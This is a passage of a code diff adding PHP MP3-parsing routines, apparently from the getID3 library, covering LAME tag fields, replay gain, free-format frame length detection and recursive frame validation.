+						$thisfile_mpeg_audio_lame['vbr_method']     = self::LAMEvbrMethodLookup($thisfile_mpeg_audio_lame_raw['vbr_method']);
+						$thisfile_mpeg_audio['bitrate_mode']        = substr($thisfile_mpeg_audio_lame['vbr_method'], 0, 3); // usually either 'cbr' or 'vbr', but truncates 'vbr-old / vbr-rh' to 'vbr'
+
+						// byte $A6  Lowpass filter value
+						$thisfile_mpeg_audio_lame['lowpass_frequency'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA6, 1)) * 100;
+
+						// bytes $A7-$AE  Replay Gain
+						// http://privatewww.essex.ac.uk/~djmrob/replaygain/rg_data_format.html
+						// bytes $A7-$AA : 32 bit floating point "Peak signal amplitude"
+						if ($thisfile_mpeg_audio_lame['short_version'] >= 'LAME3.94b') {
+							// LAME 3.94a16 and later - 9.23 fixed point
+							// ie 0x0059E2EE / (2^23) = 5890798 / 8388608 = 0.7022378444671630859375
+							$thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = (float) ((getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4))) / 8388608);
+						} else {
+							// LAME 3.94a15 and earlier - 32-bit floating point
+							// Actually 3.94a16 will fall in here too and be WRONG, but is hard to detect 3.94a16 vs 3.94a15
+							$thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] = getid3_lib::LittleEndian2Float(substr($headerstring, $LAMEtagOffsetContant + 0xA7, 4));
+						}
+						if ($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'] == 0) {
+							unset($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']);
+						} else {
+							$thisfile_mpeg_audio_lame_RGAD['peak_db'] = getid3_lib::RGADamplitude2dB($thisfile_mpeg_audio_lame_RGAD['peak_amplitude']);
+						}
+
+						$thisfile_mpeg_audio_lame_raw['RGAD_track']      =   getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAB, 2));
+						$thisfile_mpeg_audio_lame_raw['RGAD_album']      =   getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAD, 2));
+
+
+						if ($thisfile_mpeg_audio_lame_raw['RGAD_track'] != 0) {
+
+							$thisfile_mpeg_audio_lame_RGAD_track['raw']['name']        = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0xE000) >> 13;
+							$thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']  = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x1C00) >> 10;
+							$thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']    = ($thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x0200) >> 9;
+							$thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'] =  $thisfile_mpeg_audio_lame_raw['RGAD_track'] & 0x01FF;
+							$thisfile_mpeg_audio_lame_RGAD_track['name']       = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['name']);
+							$thisfile_mpeg_audio_lame_RGAD_track['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['originator']);
+							$thisfile_mpeg_audio_lame_RGAD_track['gain_db']    = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_track['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_track['raw']['sign_bit']);
+
+							if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) {
+								$info['replay_gain']['track']['peak']   = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'];
+							}
+							$info['replay_gain']['track']['originator'] = $thisfile_mpeg_audio_lame_RGAD_track['originator'];
+							$info['replay_gain']['track']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_track['gain_db'];
+						} else {
+							unset($thisfile_mpeg_audio_lame_RGAD['track']);
+						}
+						if ($thisfile_mpeg_audio_lame_raw['RGAD_album'] != 0) {
+
+							$thisfile_mpeg_audio_lame_RGAD_album['raw']['name']        = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0xE000) >> 13;
+							$thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']  = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x1C00) >> 10;
+							$thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']    = ($thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x0200) >> 9;
+							$thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'] = $thisfile_mpeg_audio_lame_raw['RGAD_album'] & 0x01FF;
+							$thisfile_mpeg_audio_lame_RGAD_album['name']       = getid3_lib::RGADnameLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['name']);
+							$thisfile_mpeg_audio_lame_RGAD_album['originator'] = getid3_lib::RGADoriginatorLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['originator']);
+							$thisfile_mpeg_audio_lame_RGAD_album['gain_db']    = getid3_lib::RGADadjustmentLookup($thisfile_mpeg_audio_lame_RGAD_album['raw']['gain_adjust'], $thisfile_mpeg_audio_lame_RGAD_album['raw']['sign_bit']);
+
+							if (!empty($thisfile_mpeg_audio_lame_RGAD['peak_amplitude'])) {
+								$info['replay_gain']['album']['peak']   = $thisfile_mpeg_audio_lame_RGAD['peak_amplitude'];
+							}
+							$info['replay_gain']['album']['originator'] = $thisfile_mpeg_audio_lame_RGAD_album['originator'];
+							$info['replay_gain']['album']['adjustment'] = $thisfile_mpeg_audio_lame_RGAD_album['gain_db'];
+						} else {
+							unset($thisfile_mpeg_audio_lame_RGAD['album']);
+						}
+						if (empty($thisfile_mpeg_audio_lame_RGAD)) {
+							unset($thisfile_mpeg_audio_lame['RGAD']);
+						}
+
+
+						// byte $AF  Encoding flags + ATH Type
+						$EncodingFlagsATHtype = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xAF, 1));
+						$thisfile_mpeg_audio_lame['encoding_flags']['nspsytune']   = (bool) ($EncodingFlagsATHtype & 0x10);
+						$thisfile_mpeg_audio_lame['encoding_flags']['nssafejoint'] = (bool) ($EncodingFlagsATHtype & 0x20);
+						$thisfile_mpeg_audio_lame['encoding_flags']['nogap_next']  = (bool) ($EncodingFlagsATHtype & 0x40);
+						$thisfile_mpeg_audio_lame['encoding_flags']['nogap_prev']  = (bool) ($EncodingFlagsATHtype & 0x80);
+						$thisfile_mpeg_audio_lame['ath_type']                      =         $EncodingFlagsATHtype & 0x0F;
+
+						// byte $B0  if ABR {specified bitrate} else {minimal bitrate}
+						$thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB0, 1));
+						if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 2) { // Average BitRate (ABR)
+							$thisfile_mpeg_audio_lame['bitrate_abr'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'];
+						} elseif ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) { // Constant BitRate (CBR)
+							// ignore
+						} elseif ($thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'] > 0) { // Variable BitRate (VBR) - minimum bitrate
+							$thisfile_mpeg_audio_lame['bitrate_min'] = $thisfile_mpeg_audio_lame['raw']['abrbitrate_minbitrate'];
+						}
+
+						// bytes $B1-$B3  Encoder delays
+						$EncoderDelays = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB1, 3));
+						$thisfile_mpeg_audio_lame['encoder_delay'] = ($EncoderDelays & 0xFFF000) >> 12;
+						$thisfile_mpeg_audio_lame['end_padding']   =  $EncoderDelays & 0x000FFF;
+
+						// byte $B4  Misc
+						$MiscByte = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB4, 1));
+						$thisfile_mpeg_audio_lame_raw['noise_shaping']       = ($MiscByte & 0x03);
+						$thisfile_mpeg_audio_lame_raw['stereo_mode']         = ($MiscByte & 0x1C) >> 2;
+						$thisfile_mpeg_audio_lame_raw['not_optimal_quality'] = ($MiscByte & 0x20) >> 5;
+						$thisfile_mpeg_audio_lame_raw['source_sample_freq']  = ($MiscByte & 0xC0) >> 6;
+						$thisfile_mpeg_audio_lame['noise_shaping']       = $thisfile_mpeg_audio_lame_raw['noise_shaping'];
+						$thisfile_mpeg_audio_lame['stereo_mode']         = self::LAMEmiscStereoModeLookup($thisfile_mpeg_audio_lame_raw['stereo_mode']);
+						$thisfile_mpeg_audio_lame['not_optimal_quality'] = (bool) $thisfile_mpeg_audio_lame_raw['not_optimal_quality'];
+						$thisfile_mpeg_audio_lame['source_sample_freq']  = self::LAMEmiscSourceSampleFrequencyLookup($thisfile_mpeg_audio_lame_raw['source_sample_freq']);
+
+						// byte $B5  MP3 Gain
+						$thisfile_mpeg_audio_lame_raw['mp3_gain'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB5, 1), false, true);
+						$thisfile_mpeg_audio_lame['mp3_gain_db']     = (getid3_lib::RGADamplitude2dB(2) / 4) * $thisfile_mpeg_audio_lame_raw['mp3_gain'];
+						$thisfile_mpeg_audio_lame['mp3_gain_factor'] = pow(2, ($thisfile_mpeg_audio_lame['mp3_gain_db'] / 6));
+
+						// bytes $B6-$B7  Preset and surround info
+						$PresetSurroundBytes = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB6, 2));
+						// Reserved                                                    = ($PresetSurroundBytes & 0xC000);
+						$thisfile_mpeg_audio_lame_raw['surround_info'] = ($PresetSurroundBytes & 0x3800);
+						$thisfile_mpeg_audio_lame['surround_info']     = self::LAMEsurroundInfoLookup($thisfile_mpeg_audio_lame_raw['surround_info']);
+						$thisfile_mpeg_audio_lame['preset_used_id']    = ($PresetSurroundBytes & 0x07FF);
+						$thisfile_mpeg_audio_lame['preset_used']       = self::LAMEpresetUsedLookup($thisfile_mpeg_audio_lame);
+						if (!empty($thisfile_mpeg_audio_lame['preset_used_id']) && empty($thisfile_mpeg_audio_lame['preset_used'])) {
+							$this->warning('Unknown LAME preset used ('.$thisfile_mpeg_audio_lame['preset_used_id'].') - please report to info@getid3.org');
+						}
+						if (($thisfile_mpeg_audio_lame['short_version'] == 'LAME3.90.') && !empty($thisfile_mpeg_audio_lame['preset_used_id'])) {
+							// this may change if 3.90.4 ever comes out
+							$thisfile_mpeg_audio_lame['short_version'] = 'LAME3.90.3';
+						}
+
+						// bytes $B8-$BB  MusicLength
+						$thisfile_mpeg_audio_lame['audio_bytes'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xB8, 4));
+						$ExpectedNumberOfAudioBytes = (($thisfile_mpeg_audio_lame['audio_bytes'] > 0) ? $thisfile_mpeg_audio_lame['audio_bytes'] : $thisfile_mpeg_audio['VBR_bytes']);
+
+						// bytes $BC-$BD  MusicCRC
+						$thisfile_mpeg_audio_lame['music_crc']    = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBC, 2));
+
+						// bytes $BE-$BF  CRC-16 of Info Tag
+						$thisfile_mpeg_audio_lame['lame_tag_crc'] = getid3_lib::BigEndian2Int(substr($headerstring, $LAMEtagOffsetContant + 0xBE, 2));
+
+
+						// LAME CBR
+						if ($thisfile_mpeg_audio_lame_raw['vbr_method'] == 1) {
+
+							$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
+							$thisfile_mpeg_audio['bitrate'] = self::ClosestStandardMP3Bitrate($thisfile_mpeg_audio['bitrate']);
+							$info['audio']['bitrate'] = $thisfile_mpeg_audio['bitrate'];
+							//if (empty($thisfile_mpeg_audio['bitrate']) || (!empty($thisfile_mpeg_audio_lame['bitrate_min']) && ($thisfile_mpeg_audio_lame['bitrate_min'] != 255))) {
+							//	$thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio_lame['bitrate_min'];
+							//}
+
+						}
+
+					}
+				}
+
+			} else {
+
+				// not Fraunhofer or Xing VBR methods, most likely CBR (but could be VBR with no header)
+				$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
+				if ($recursivesearch) {
+					$thisfile_mpeg_audio['bitrate_mode'] = 'vbr';
+					if ($this->RecursiveFrameScanning($offset, $nextframetestoffset, true)) {
+						$recursivesearch = false;
+						$thisfile_mpeg_audio['bitrate_mode'] = 'cbr';
+					}
+					if ($thisfile_mpeg_audio['bitrate_mode'] == 'vbr') {
+						$this->warning('VBR file with no VBR header. Bitrate values calculated from actual frame bitrates.');
+					}
+				}
+
+			}
+
+		}
+
+		if (($ExpectedNumberOfAudioBytes > 0) && ($ExpectedNumberOfAudioBytes != ($info['avdataend'] - $info['avdataoffset']))) {
+			if ($ExpectedNumberOfAudioBytes > ($info['avdataend'] - $info['avdataoffset'])) {
+				if ($this->isDependencyFor('matroska') || $this->isDependencyFor('riff')) {
+					// ignore, audio data is broken into chunks so will always be data "missing"
+				}
+				elseif (($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])) == 1) {
+					$this->warning('Last byte of data truncated (this is a known bug in Meracl ID3 Tag Writer before v1.3.5)');
+				}
+				else {
+					$this->warning('Probable truncated file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, only found '.($info['avdataend'] - $info['avdataoffset']).' (short by '.($ExpectedNumberOfAudioBytes - ($info['avdataend'] - $info['avdataoffset'])).' bytes)');
+				}
+			} else {
+				if ((($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes) == 1) {
+				//	$prenullbytefileoffset = $this->ftell();
+				//	$this->fseek($info['avdataend']);
+				//	$PossibleNullByte = $this->fread(1);
+				//	$this->fseek($prenullbytefileoffset);
+				//	if ($PossibleNullByte === "\x00") {
+						$info['avdataend']--;
+				//		$this->warning('Extra null byte at end of MP3 data assumed to be RIFF padding and therefore ignored');
+				//	} else {
+				//		$this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)');
+				//	}
+				} else {
+					$this->warning('Too much data in file: expecting '.$ExpectedNumberOfAudioBytes.' bytes of audio data, found '.($info['avdataend'] - $info['avdataoffset']).' ('.(($info['avdataend'] - $info['avdataoffset']) - $ExpectedNumberOfAudioBytes).' bytes too many)');
+				}
+			}
+		}
+
+		if (($thisfile_mpeg_audio['bitrate'] == 'free') && empty($info['audio']['bitrate'])) {
+			if (($offset == $info['avdataoffset']) && empty($thisfile_mpeg_audio['VBR_frames'])) {
+				$framebytelength = $this->FreeFormatFrameLength($offset, true);
+				if ($framebytelength > 0) {
+					$thisfile_mpeg_audio['framelength'] = $framebytelength;
+					if ($thisfile_mpeg_audio['layer'] == '1') {
+						// BitRate = (((FrameLengthInBytes / 4) - Padding) * SampleRate) / 12
+						$info['audio']['bitrate'] = ((($framebytelength / 4) - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 12;
+					} else {
+						// Bitrate = ((FrameLengthInBytes - Padding) * SampleRate) / 144
+						$info['audio']['bitrate'] = (($framebytelength - intval($thisfile_mpeg_audio['padding'])) * $thisfile_mpeg_audio['sample_rate']) / 144;
+					}
+				} else {
+					$this->error('Error calculating frame length of free-format MP3 without Xing/LAME header');
+				}
+			}
+		}
+
+		if (isset($thisfile_mpeg_audio['VBR_frames']) ? $thisfile_mpeg_audio['VBR_frames'] : '') {
+			switch ($thisfile_mpeg_audio['bitrate_mode']) {
+				case 'vbr':
+				case 'abr':
+					$bytes_per_frame = 1152;
+					if (($thisfile_mpeg_audio['version'] == '1') && ($thisfile_mpeg_audio['layer'] == 1)) {
+						$bytes_per_frame = 384;
+					} elseif ((($thisfile_mpeg_audio['version'] == '2') || ($thisfile_mpeg_audio['version'] == '2.5')) && ($thisfile_mpeg_audio['layer'] == 3)) {
+						$bytes_per_frame = 576;
+					}
+					$thisfile_mpeg_audio['VBR_bitrate'] = (isset($thisfile_mpeg_audio['VBR_bytes']) ? (($thisfile_mpeg_audio['VBR_bytes'] / $thisfile_mpeg_audio['VBR_frames']) * 8) * ($info['audio']['sample_rate'] / $bytes_per_frame) : 0);
+					if ($thisfile_mpeg_audio['VBR_bitrate'] > 0) {
+						$info['audio']['bitrate']       = $thisfile_mpeg_audio['VBR_bitrate'];
+						$thisfile_mpeg_audio['bitrate'] = $thisfile_mpeg_audio['VBR_bitrate']; // to avoid confusion
+					}
+					break;
+			}
+		}
+
+		// End variable-bitrate headers
+		////////////////////////////////////////////////////////////////////////////////////
+
+		if ($recursivesearch) {
+
+			if (!$this->RecursiveFrameScanning($offset, $nextframetestoffset, $ScanAsCBR)) {
+				return false;
+			}
+
+		}
+
+
+		//if (false) {
+		//    // experimental side info parsing section - not returning anything useful yet
+		//
+		//    $SideInfoBitstream = getid3_lib::BigEndian2Bin($SideInfoData);
+		//    $SideInfoOffset = 0;
+		//
+		//    if ($thisfile_mpeg_audio['version'] == '1') {
+		//        if ($thisfile_mpeg_audio['channelmode'] == 'mono') {
+		//            // MPEG-1 (mono)
+		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9);
+		//            $SideInfoOffset += 9;
+		//            $SideInfoOffset += 5;
+		//        } else {
+		//            // MPEG-1 (stereo, joint-stereo, dual-channel)
+		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 9);
+		//            $SideInfoOffset += 9;
+		//            $SideInfoOffset += 3;
+		//        }
+		//    } else { // 2 or 2.5
+		//        if ($thisfile_mpeg_audio['channelmode'] == 'mono') {
+		//            // MPEG-2, MPEG-2.5 (mono)
+		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8);
+		//            $SideInfoOffset += 8;
+		//            $SideInfoOffset += 1;
+		//        } else {
+		//            // MPEG-2, MPEG-2.5 (stereo, joint-stereo, dual-channel)
+		//            $thisfile_mpeg_audio['side_info']['main_data_begin'] = substr($SideInfoBitstream, $SideInfoOffset, 8);
+		//            $SideInfoOffset += 8;
+		//            $SideInfoOffset += 2;
+		//        }
+		//    }
+		//
+		//    if ($thisfile_mpeg_audio['version'] == '1') {
+		//        for ($channel = 0; $channel < $info['audio']['channels']; $channel++) {
+		//            for ($scfsi_band = 0; $scfsi_band < 4; $scfsi_band++) {
+		//                $thisfile_mpeg_audio['scfsi'][$channel][$scfsi_band] = substr($SideInfoBitstream, $SideInfoOffset, 1);
+		//                $SideInfoOffset += 2;
+		//            }
+		//        }
+		//    }
+		//    for ($granule = 0; $granule < (($thisfile_mpeg_audio['version'] == '1') ? 2 : 1); $granule++) {
+		//        for ($channel = 0; $channel < $info['audio']['channels']; $channel++) {
+		//            $thisfile_mpeg_audio['part2_3_length'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 12);
+		//            $SideInfoOffset += 12;
+		//            $thisfile_mpeg_audio['big_values'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9);
+		//            $SideInfoOffset += 9;
+		//            $thisfile_mpeg_audio['global_gain'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 8);
+		//            $SideInfoOffset += 8;
+		//            if ($thisfile_mpeg_audio['version'] == '1') {
+		//                $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4);
+		//                $SideInfoOffset += 4;
+		//            } else {
+		//                $thisfile_mpeg_audio['scalefac_compress'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 9);
+		//                $SideInfoOffset += 9;
+		//            }
+		//            $thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
+		//            $SideInfoOffset += 1;
+		//
+		//            if ($thisfile_mpeg_audio['window_switching_flag'][$granule][$channel] == '1') {
+		//
+		//                $thisfile_mpeg_audio['block_type'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 2);
+		//                $SideInfoOffset += 2;
+		//                $thisfile_mpeg_audio['mixed_block_flag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
+		//                $SideInfoOffset += 1;
+		//
+		//                for ($region = 0; $region < 2; $region++) {
+		//                    $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5);
+		//                    $SideInfoOffset += 5;
+		//                }
+		//                $thisfile_mpeg_audio['table_select'][$granule][$channel][2] = 0;
+		//
+		//                for ($window = 0; $window < 3; $window++) {
+		//                    $thisfile_mpeg_audio['subblock_gain'][$granule][$channel][$window] = substr($SideInfoBitstream, $SideInfoOffset, 3);
+		//                    $SideInfoOffset += 3;
+		//                }
+		//
+		//            } else {
+		//
+		//                for ($region = 0; $region < 3; $region++) {
+		//                    $thisfile_mpeg_audio['table_select'][$granule][$channel][$region] = substr($SideInfoBitstream, $SideInfoOffset, 5);
+		//                    $SideInfoOffset += 5;
+		//                }
+		//
+		//                $thisfile_mpeg_audio['region0_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 4);
+		//                $SideInfoOffset += 4;
+		//                $thisfile_mpeg_audio['region1_count'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 3);
+		//                $SideInfoOffset += 3;
+		//                $thisfile_mpeg_audio['block_type'][$granule][$channel] = 0;
+		//            }
+		//
+		//            if ($thisfile_mpeg_audio['version'] == '1') {
+		//                $thisfile_mpeg_audio['preflag'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
+		//                $SideInfoOffset += 1;
+		//            }
+		//            $thisfile_mpeg_audio['scalefac_scale'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
+		//            $SideInfoOffset += 1;
+		//            $thisfile_mpeg_audio['count1table_select'][$granule][$channel] = substr($SideInfoBitstream, $SideInfoOffset, 1);
+		//            $SideInfoOffset += 1;
+		//        }
+		//    }
+		//}
+
+		return true;
+	}
+
+	public function RecursiveFrameScanning(&$offset, &$nextframetestoffset, $ScanAsCBR) {
+		$info = &$this->getid3->info;
+		$firstframetestarray = array('error' => array(), 'warning'=> array(), 'avdataend' => $info['avdataend'], 'avdataoffset' => $info['avdataoffset']);
+		$this->decodeMPEGaudioHeader($offset, $firstframetestarray, false);
+
+		for ($i = 0; $i < GETID3_MP3_VALID_CHECK_FRAMES; $i++) {
+			// check next GETID3_MP3_VALID_CHECK_FRAMES frames for validity, to make sure we haven't run across a false synch
+			if (($nextframetestoffset + 4) >= $info['avdataend']) {
+				// end of file
+				return true;
+			}
+
+			$nextframetestarray = array('error' => array(), 'warning' => array(), 'avdataend' => $info['avdataend'], 'avdataoffset'=>$info['avdataoffset']);
+			if ($this->decodeMPEGaudioHeader($nextframetestoffset, $nextframetestarray, false)) {
+				if ($ScanAsCBR) {
+					// force CBR mode, used for trying to pick out invalid audio streams with valid(?) VBR headers, or VBR streams with no VBR header
+					if (!isset($nextframetestarray['mpeg']['audio']['bitrate']) || !isset($firstframetestarray['mpeg']['audio']['bitrate']) || ($nextframetestarray['mpeg']['audio']['bitrate'] != $firstframetestarray['mpeg']['audio']['bitrate'])) {
+						return false;
+					}
+				}
+
+
+				// next frame is OK, get ready to check the one after that
+				if (isset($nextframetestarray['mpeg']['audio']['framelength']) && ($nextframetestarray['mpeg']['audio']['framelength'] > 0)) {
+					$nextframetestoffset += $nextframetestarray['mpeg']['audio']['framelength'];
+				} else {
+					$this->error('Frame at offset ('.$offset.') is has an invalid frame length.');
+					return false;
+				}
+
+			} elseif (!empty($firstframetestarray['mpeg']['audio']['framelength']) && (($nextframetestoffset + $firstframetestarray['mpeg']['audio']['framelength']) > $info['avdataend'])) {
+
+				// it's not the end of the file, but there's not enough data left for another frame, so assume it's garbage/padding and return OK
+				return true;
+
+			} else {
+
+				// next frame is not valid, note the error and fail, so scanning can contiue for a valid frame sequence
+				$this->warning('Frame at offset ('.$offset.') is valid, but the next one at ('.$nextframetestoffset.') is not.');
+
+				return false;
+			}
+		}
+		return true;
+	}
+
+	public function FreeFormatFrameLength($offset, $deepscan=false) {
+		$info = &$this->getid3->info;
+
+		$this->fseek($offset);
+		$MPEGaudioData = $this->fread(32768);
+
+		$SyncPattern1 = substr($MPEGaudioData, 0, 4);
+		// may be different pattern due to padding
+		$SyncPattern2 = $SyncPattern1{0}.$SyncPattern1{1}.chr(ord($SyncPattern1{2}) | 0x02).$SyncPattern1{3};
+		if ($SyncPattern2 === $SyncPattern1) {
+			$SyncPattern2 = $SyncPattern1{0}.$SyncPattern1{1}.chr(ord($SyncPattern1{2}) & 0xFD).$SyncPattern1{3};
+		}
+
+		$framelength = false;
+		$framelength1 = strpos($MPEGaudioData, $SyncPattern1, 4);
+		$framelength2 = strpos($MPEGaudioData, $SyncPattern2, 4);
+		if ($framelength1 > 4) {
+			$framelength = $framelength1;
+		}
+		if (($framelength2 > 4) && ($framelength2 < $framelength1)) {
+			$framelength = $framelength2;
+		}
+		if (!$framelength) {
+
+			// LAME 3.88 has a different value for modeextension on the first frame vs the rest
+			$framelength1 = strpos($MPEGaudioData, substr($SyncPattern1, 0, 3), 4);
+			$framelength2 = strpos($MPEGaudioData, substr($SyncPattern2, 0, 3), 4);
+
+			if ($framelength1 > 4) {
+				$framelength = $framelength1;
+			}
+			if (($framelength2 > 4) && ($framelength2 < $framelength1)) {
+				$framelength = $framelength2;
+			}
+			if (!$framelength) {
+				$this->error('Cannot find next free-format synch pattern ('.getid3_lib::PrintHexBytes($SyncPattern1).' or '.getid3_lib::PrintHexBytes($SyncPattern2).') after offset '.$offset);
+				return false;
+			} else {
+				$this->warning('ModeExtension varies between first frame and other frames (known free-format issue in LAME 3.88)');
+				$info['audio']['codec']   = 'LAME';
+				$info['audio']['encoder'] = 'LAME3.88';
+				$SyncPattern1 = substr($SyncPattern1, 0, 3);
+				$SyncPattern2 = substr($SyncPattern2, 0, 3);
+			}
+		}
+
+		if ($deepscan) {
+
+			$ActualFrameLengthValues = array();
+			$nextoffset = $offset + $framelength;
+			while ($nextoffset < ($info['avdataend'] - 6)) {
+				$this->fseek($nextoffset - 1);
+				$NextSyncPattern = $this->fread(6);
+				if ((substr($NextSyncPattern, 1, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 1, strlen($SyncPattern2)) == $SyncPattern2)) {
+					// good - found where expected
+					$ActualFrameLengthValues[] = $framelength;
+				} elseif ((substr($NextSyncPattern, 0, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 0, strlen($SyncPattern2)) == $SyncPattern2)) {
+					// ok - found one byte earlier than expected (last frame wasn't padded, first frame was)
+					$ActualFrameLengthValues[] = ($framelength - 1);
+					$nextoffset--;
+				} elseif ((substr($NextSyncPattern, 2, strlen($SyncPattern1)) == $SyncPattern1) || (substr($NextSyncPattern, 2, strlen($SyncPattern2)) == $SyncPattern2)) {
+					// ok - found one byte later than expected (last frame was padded, first frame wasn't)
+					$ActualFrameLengthValues[] = ($framelength + 1);
+					$nextoffset++;
+				} else {
+					$this->error('Did not find expected free-format sync pattern at offset '.$nextoffset);
+					return false;
+				}
+				$nextoffset += $framelength;
+			}
+			if (count($ActualFrameLengthValues) > 0) {
+				$framelength = intval(round(array_sum($ActualFrameLengthValues) / count($ActualFrameLengthValues)));
+			}
+		}
+		return $framelength;
+	}
+
+	public function getOnlyMPEGaudioInfoBruteForce() {
+		$MPEGaudioHeaderDecodeCache   = array();
+		$MPEGaudioHeaderValidCache    = array();
+		$MPEGaudioHeaderLengthCache   = array();
+		$MPEGaudioVersionLookup       = self::MPEGaudioVersionArray();
+		$MPEGaudioLayerLookup         = self::MPEGaudioLayerArray();
+		$MPEGaudioBitrateLookup       = self::MPEGaudioBitrateArray();
+		$MPEGaudioFrequencyLookup     = self::MPEGaudioFrequencyArray();
+		$MPEGaudioChannelModeLookup   = self::MPEGaudioChannelModeArray();
+		$MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray();
+		$MPEGaudioEmphasisLookup      = self::MPEGaudioEmphasisArray();
+		$LongMPEGversionLookup        = array();
+		$LongMPEGlayerLookup          = array();
+		$LongMPEGbitrateLookup        = array();
+		$LongMPEGpaddingLookup        = array();
+		$LongMPEGfrequencyLookup      = array();
+		$Distribution['bitrate']      = array();
+		$Distribution['frequency']    = array();
+		$Distribution['layer']        = array();
+		$Distribution['version']      = array();
+		$Distribution['padding']      = array();
+
+		$info = &$this->getid3->info;
+		$this->fseek($info['avdataoffset']);
+
+		$max_frames_scan = 5000;
+		$frames_scanned  = 0;
+
+		$previousvalidframe = $info['avdataoffset'];
+		while ($this->ftell() < $info['avdataend']) {
+			set_time_limit(30);
+			$head4 = $this->fread(4);
+			if (strlen($head4) < 4) {
+				break;
+			}
+			if ($head4{0} != "\xFF") {
+				for ($i = 1; $i < 4; $i++) {
+					if ($head4{$i} == "\xFF") {
+						$this->fseek($i - 4, SEEK_CUR);
+						continue 2;
+					}
+				}
+				continue;
+			}
+			if (!isset($MPEGaudioHeaderDecodeCache[$head4])) {
+				$MPEGaudioHeaderDecodeCache[$head4] = self::MPEGaudioHeaderDecode($head4);
+			}
+			if (!isset($MPEGaudioHeaderValidCache[$head4])) {
+				$MPEGaudioHeaderValidCache[$head4] = self::MPEGaudioHeaderValid($MPEGaudioHeaderDecodeCache[$head4], false, false);
+			}
+			if ($MPEGaudioHeaderValidCache[$head4]) {
+
+				if (!isset($MPEGaudioHeaderLengthCache[$head4])) {
